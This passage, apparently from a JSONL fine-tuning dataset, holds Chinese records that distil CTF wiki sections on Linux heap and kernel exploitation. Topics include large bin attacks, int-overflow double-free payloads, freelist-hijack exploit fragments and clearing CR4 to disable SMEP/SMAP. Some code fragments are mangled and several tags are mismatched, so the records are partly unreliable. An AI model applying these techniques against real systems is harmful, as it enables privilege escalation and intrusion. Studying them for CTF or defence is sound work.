下载。\n\n关键术语：\n- 边界/溢出\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 324, "chunk_count": 1, "chunk_index": 0, "ctf_score": 34, "ctf_task_type": "pwn", "heading": "例题：corCTF2022 - cache-of-castaways", "heading_path": ["Cross-Cache Overflow & Page-level Heap Fengshui", "例题：corCTF2022 - cache-of-castaways"], "original_id": "docs-1b489d23449ac83bdc4f", "original_line": 36, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md", "source_root": "docs", "source_sha256": "a2c8dfa6b0a89023b0f0db82bad6de6ee6403266bdc7488673a702ae7cd05846", "split": "train", "split_group_key": "961a953d164b03a05661189e", "subcategory": "pwn/linux/kernel-mode", "terms": ["边界/溢出", "堆", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Cross-Cache Overflow & Page-level Heap Fengshui"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3184501a5e81b938ebdf", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/php/php.md` 中的章节「WEB-INF / web.xml 泄露」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/php/php.md`\n标题：PHP 代码审计\n章节：PHP 代码审计 > 寻找源代码备份 > WEB-INF / web.xml 泄露\n路径分类：web / web/php/php.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“WEB-INF / web.xml 泄露”展开。\n- /WEB-INF/database.properties ：数据库配置文件。\n- /WEB-INF/lib/ ：存放 web 应用需要的各种 JAR 文件，放置仅在这个应用中要求使用的 jar 文件，如数据库驱动 jar 文件。\n- WEB-INF 是 Java Web 应用的安全目录，web.xml 中有文件的映射关系。\n- WEB-INF 主要包含以下文件或目录： - /WEB-INF/web.xml ：Web 应用程序配置文件，描述了 servlet 和其他的应用组件配置及命名规则。\n- /WEB-INF/classes/ ：包含站点所有用到的 class 文件，包括 servlet class 和非 servlet class，他们不能包含在 jar 文件中。\n\n关键术语：\n- ROP/JOP\n- web\n- php\n- php.md\n- code:nginx\n\n代码/命令片段线索：\n- nginx: 1 行，首行 `location ~ ^/WEB-INF/* { deny all; } # 或者return 404; 或者其他！`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 704, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "WEB-INF / web.xml 泄露", "heading_path": ["PHP 代码审计", "寻找源代码备份", "WEB-INF / web.xml 泄露"], "original_id": "docs-48aff8487e4bffb4b709", "original_line": 1642, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/php/php.md", "source_root": "docs", "source_sha256": "2316f59794a074b2acecf6bb1cf9782cc5c6ef394554e4d96172c0e9488d4635", "split": "train", "split_group_key": "a6b4bf0466872b3e617b4fec", "subcategory": "web/php/php.md", "terms": ["ROP/JOP", "web", "php", "php.md", "code:nginx"], "title": "PHP 代码审计"}, "source_dataset": "docs_distilled_v1", "source_path": "web/php/php.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-31955c4a9338e0902599", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/basic-knowledge.md` 中的章节「Random freelist」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/basic-knowledge.md`\n标题：基础知识\n章节：基础知识 > Mitigation > 内核“堆”上保护机制 > Random freelist\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Random freelist”展开。\n- 这种保护主要发生在 slub allocator 向 buddy system 申请到页框之后的处理过程中，对于未开启这种保护的一张完整的 slub，其上的 object 的连接顺序是线性连续的，但在开启了这种保护之后其上的 object 之间的连接顺序是随机的，这让攻击者无法直接预测下一个分配的 object 的地址。\n- 需要注意的是这种保护发生在slub allocator 刚从 buddy system 拿到新 slub 的时候，运行时 freelist 的构成仍遵循 LIFO。\n- 文件: ./figure/freelist_random.png]\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- basic-knowledge.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 306, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "Random freelist", "heading_path": ["基础知识", "Mitigation", "内核“堆”上保护机制", "Random freelist"], "original_id": "docs-391502950bb619fd8ca8", "original_line": 653, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "source_root": "docs", "source_sha256": "103d18a2b1d91a49bd2c2a041ed56ddd9dc84d20450319eb6f4ff9118cc83e6d", "split": "train", "split_group_key": "de0401d5551ed60100a3a8be", "subcategory": "pwn/linux/kernel-mode", "terms": ["漏洞利用", "pwn", "linux", "kernel-mode", "basic-knowledge.md"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-31b86b64561af5deebfa", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack.md` 中的章节「large bin attack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack.md`\n标题：Large Bin Attack\n章节：Large Bin Attack > large bin attack\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“large bin attack”展开。\n- 在 2.30 版本新加入了对 largebin 跳表的完整性检查，使 unsorted chunk 大于链表中最小的 chunk 时的利用失效，必须使 unsorted chunk 小于链表中最小的 chunk，通过 `cpp victim->bk_nextsize->fd_nextsize = victim;\n- ` 实现利用，也就是将本 chunk 的地址写到 bk_nextsize + 0x20` 处。\n- 这种攻击方式主要利用的是 chunk 进入 bin 中的操作，在 malloc 的时候，遍历 unsorted bin 时，对每一个 chunk，若无法 exact-fit 分配或不满足切割分配的条件，就会将该 chunk 置入相应的 bin 中，而此过程中缺乏对 largebin 的跳表指针的检测。\n- / maintain large bins in sorted order / if (fwd !\n- / if smaller than smallest, bypass loop below / assert (chunk_main_arena (bck->bk));\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:cpp\n\n代码/命令片段线索：\n- cpp: 47 行，首行 `else`\n- cpp: 2 行，首行 `fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;`\n- cpp: 4 行，首行 `if ((unsigned long) size`\n- cpp: 1 行，首行 `victim->bk_nextsize->fd_nextsize = victim;`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2116, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "large bin attack", "heading_path": ["Large Bin Attack", "large bin attack"], "original_id": "docs-0903710af6e3c67c1268", "original_line": 1003, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack.md", "source_root": "docs", "source_sha256": "a3874f938d038db562e482946f7acdbd2a42c9b39aa915aa7a16ac6ce9d37207", "split": "train", "split_group_key": "2fbcccfce7a09f07eeccfcea", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:cpp"], "title": "Large Bin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-31dcc694cfffb21171b2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「1. int overflow lead to double free」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：1. int overflow lead to double free\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“1. int overflow lead to double free”展开。\n- intoverflow = -9223372036854775808 malloc(512,'/bin/sh\\0') malloc(512,'/bin/sh\\0') malloc(512,'/bin/sh\\0') malloc(512,'/bin/sh\\0') malloc(512,'/bin/sh\\0') malloc(512,'/bin/sh\\0') malloc(512,p64(0x400ef8)) malloc(512,'/bin/sh\\0')\n\n关键术语：\n- 边界/溢出\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 228, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "1. int overflow lead to double free", "heading_path": ["1. int overflow lead to double free"], "original_id": "docs-3928c1d8a6232166a946", "original_line": 1094, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "262ff0e51d3c33ba42362333", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "pwn", "linux", "user-mode", "heap"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-321c11f493f0ca3e437a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md` 中的章节「EXPLOIT」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md`\n标题：freelist 劫持\n章节：freelist 劫持 > 例题：RWCTF2022高校赛 - Digging into kernel 1 & 2 > EXPLOIT\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“EXPLOIT”展开。\n- } int main(int argc, char argv, char envp) { int dev_fd[5], root_script_fd, flag_fd;\n- / construct UAF / data.ptr = malloc(0x1000);\n- / leak kernel heap addr and guess the page_offset_base / readBuf(dev_fd[1], &data);\n- printf(\"[+] kernel heap leak: 0x%lx\\n\", kernel_heap_leak);\n- errExit(\"\\033[31m\\033[1m[x] FAILED TO HIT page_offset_base!\n\n关键术语：\n- UAF\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 120 行，首行 `#define _GNU_SOURCE`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3714, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "EXPLOIT", "heading_path": ["freelist 劫持", "例题：RWCTF2022高校赛 - Digging into kernel 1 & 2", "EXPLOIT"], "original_id": "docs-22368da2f294f1ddb5b4", "original_line": 760, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md", "source_root": "docs", "source_sha256": "02896b554073a50b7d6d905e5443637655518f6daf2fa5641454b79f4a5f76a3", "split": "train", "split_group_key": "e874daeacc7ba2b46adb68c3", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "freelist 劫持"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-322807cda422b30ded49", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/defense/isolation/inner-kernel/heap-chunk.md` 中的章节「GFP\\_KERNEL & GFP\\_KERNEL\\_ACCOUNT 的隔离」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/defense/isolation/inner-kernel/heap-chunk.md`\n标题：内部隔离\n章节：内部隔离 > 堆块隔离 > GFP\\_KERNEL & GFP\\_KERNEL\\_ACCOUNT 的隔离\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“GFP\\_KERNEL & GFP\\_KERNEL\\_ACCOUNT 的隔离”展开。\n- GFP_KERNEL 与 GFP_KERNEL_ACCOUNT 是内核中最为常见与通用的分配 flag，常规情况下他们的分配都来自同一个 kmem_cache ——即通用的 kmalloc-xx。\n- 在 5.9 版本之前GFP_KERNEL 与 GFP_KERNEL_ACCOUNT 存在隔离机制，在 这个 commit 中取消了隔离机制，自内核版本 5.14 起，在 这个 commit 当中又重新引入： - 对于开启了 CONFIG_MEMCG_KMEM 编译选项的 kernel 而言（默认开启），其会为使用 GFP_KERNEL_ACCOUNT 进行分配的通用对象创建一组独立的 kmem_cache ——名为 kmalloc-cg-* ，从而导致使用这两种 flag 的 object 之间的隔离。\n\n关键术语：\n- 堆\n- pwn\n- linux\n- kernel-mode\n- defense\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 549, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "GFP\\_KERNEL & GFP\\_KERNEL\\_ACCOUNT 的隔离", "heading_path": ["内部隔离", "堆块隔离", "GFP\\_KERNEL & GFP\\_KERNEL\\_ACCOUNT 的隔离"], "original_id": "docs-dee62125788d813f7571", "original_line": 672, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/inner-kernel/heap-chunk.md", "source_root": "docs", "source_sha256": "c199ecf56e6b06993e38b4e0bb3c401ab44aa02a24cb6354170fc0362bb2fc7d", "split": "train", "split_group_key": "3caf2d80309ac123584ea4cd", "subcategory": "pwn/linux/kernel-mode", "terms": ["堆", "pwn", "linux", "kernel-mode", "defense"], "title": "内部隔离"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/inner-kernel/heap-chunk.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-324acd25cef448ffa0a8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/stack-intro.md` 中的章节「函数调用栈」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/stack-intro.md`\n标题：栈介绍\n章节：栈介绍 > 函数调用栈\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- C语言函数调用栈(一) - C语言函数调用栈(二) 这里再给出另外一张寄存器的图 [图片文件: ./figure/register.png] 需要注意的是，32 位和 64 位程序有以下简单的区别 - x86 - 函数参数在函数返回地址的上方 - x64 - System V AMD64 ABI (Linux、FreeBSD、macOS 等采用)中前六个整型或指针参数依次保存在RDI, RSI, RDX, RCX, R8 和 R9 寄存器中，如果还有更多的参数的话才会保存在栈上。\n- 请务必仔细看一下下面的文章来学习一下基本的函数调用栈。\n- 内存地址不能大于 0x00007FFFFFFFFFFF，6 个字节长度，否则会抛出异常。\n\n关键术语：\n- 边界/溢出\n- 栈\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 459, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "函数调用栈", "heading_path": ["栈介绍", "函数调用栈"], "original_id": "docs-bc4d15cb07129f93b91a", "original_line": 68, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/stack-intro.md", "source_root": "docs", "source_sha256": "4af1938345bce51b020c5b98c350817ed924ac2b64ee4533a05cb1d441c9e2d5", "split": "train", "split_group_key": "beddb0b170b5294847d348e2", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "pwn", "linux", "user-mode", "stackoverflow"], "title": "栈介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/stack-intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-329b20bd44415a396fb9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-intro.md` 中的章节「格式化字符串」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-intro.md`\n标题：原理介绍\n章节：原理介绍 > 格式化字符串函数介绍 > 格式化字符串\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 这里我们了解一下格式化字符串的格式，其基本格式如下 `` %[parameter][flags][field width][.precision][length]type ` 每一种pattern的含义请具体参考维基百科的格式化字符串 。\n- 以下几个pattern中的对应选择需要重点关注 - parameter - n$，获取格式化字符串中的指定参数 - flag - field width - 输出的最小宽度 - precision - 输出的最大长度 - length，输出的长度 - hh，输出一个字节 - h，输出一个双字节 - type - d/i，有符号整数 - u，无符号整数 - x/X，16进制unsigned int 。\n- printf(\"%p\",a)用地址的格式打印变量a的值，printf(\"%p\", &a)打印变量a所在的地址。\n- 如果用了l标志，则对应函数参数指向wchar\\_t型的数组，输出时把每个宽字符转化为多字节字符，相当于调用wcrtomb 函数。\n- 如果用了l标志，把wint\\_t参数转为包含两个元素的wchart_t数组，其中第一个元素包含要输出的字符，第二个元素为null宽字符。\n- %， '%`'字面值，不接受任何flags, width。\n\n关键术语：\n- pwn\n- linux\n- user-mode\n- fmtstr\n\n代码/命令片段线索：\n- plain: 1 行，首行 `%[parameter][flags][field width][.precision][length]type`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 934, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "格式化字符串", "heading_path": ["原理介绍", "格式化字符串函数介绍", "格式化字符串"], "original_id": "docs-a20480df842338f86129", "original_line": 899, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-intro.md", "source_root": "docs", "source_sha256": "8516996b24e38500e18a7d976758f906dafa9808d78bd95a8b5220f77d0d21b8", "split": "train", "split_group_key": "86caf4693b10551b899c7abe", "subcategory": "pwn/linux/user-mode", "terms": ["pwn", "linux", "user-mode", "fmtstr"], "title": "原理介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-32dbbb9d94a7dd0a21f3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/user-data-access.md` 中的章节「设置 CR4 寄存器」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/user-data-access.md`\n标题：用户数据不可访问\n章节：用户数据不可访问 > x86 - SMAP - Supervisor Mode Access Protection > Attack SMEP > 设置 CR4 寄存器\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“设置 CR4 寄存器”展开。\n- 内核中修改 cr4 的代码最终会调用到 native_write_cr4，当我们能够劫持控制流后，我们就可以执行内核中对应的 gadget 来修改 CR4。\n- 把 CR4 寄存器中的第 21 位置为 0 后，我们就可以访问用户态的数据。\n- 一般而言，我们会使用 0x6f0 来设置 CR4，这样 SMAP 和 SMEP 都会被关闭。\n- 从另外一个维度来看，内核中存在固定的修改 cr4 的代码，比如在 refresh_pce 函数、 set_tsc_mode 等函数里都有。\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- defense\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 239, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "设置 CR4 寄存器", "heading_path": ["用户数据不可访问", "x86 - SMAP - Supervisor Mode Access Protection", "Attack SMEP", "设置 CR4 寄存器"], "original_id": "docs-9c9074fcb1a024f6dbf1", "original_line": 684, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/user-kernel/user-data-access.md", "source_root": "docs", "source_sha256": "d68e36c8175d29e28eefd4318fc95884f1bf35b5d67abba628cbab8cf2c60948", "split": "train", "split_group_key": "bb3dad6781e7c7d5f965450b", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "defense"], "title": "用户数据不可访问"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/user-kernel/user-data-access.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-330d6cd6c56c0fa53570", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md` 中的章节「Reference」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md`\n标题：kernel UAF\n章节：kernel UAF > Reference\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Reference”展开。\n- https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x04-Kernel-Heap-Use-After-Free https://bbs.pediy.com/thread-247054.htm https://whereisk0shl.top/NCSTISC%20Linux%20Kernel%20pwn450%20writeup.html http://muhe.live/2017/07/13/babydriver-writeup...\n\n关键术语：\n- UAF\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 301, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "Reference", "heading_path": ["kernel UAF", "Reference"], "original_id": "docs-7b140a7cf445939a0f23", "original_line": 779, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md", "source_root": "docs", "source_sha256": "8e6b9adbb421820e0d460522b874c1fb80d883af40c04dfc833c137f2c35fa9f", "split": "train", "split_group_key": "2c975f81fac692b2307ddc37", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "kernel UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-33684e6763dcaa9a7ee4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「基本思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`\n标题：中级ROP\n章节：中级ROP > BROP > 攻击原理 > Blind ROP > 基本思路\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本思路”展开。\n- ret # write syscall number syscall `` 但通常来说，这样的方法都是比较困难的，因为想要找到一个syscall的地址基本不可能。\n- 最朴素的执行write函数的方法就是构造系统调用。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:asm\n\n代码/命令片段线索：\n- asm: 5 行，首行 `pop rdi; ret # socket`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 216, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "基本思路", "heading_path": ["中级ROP", "BROP", "攻击原理", "Blind ROP", "基本思路"], "original_id": 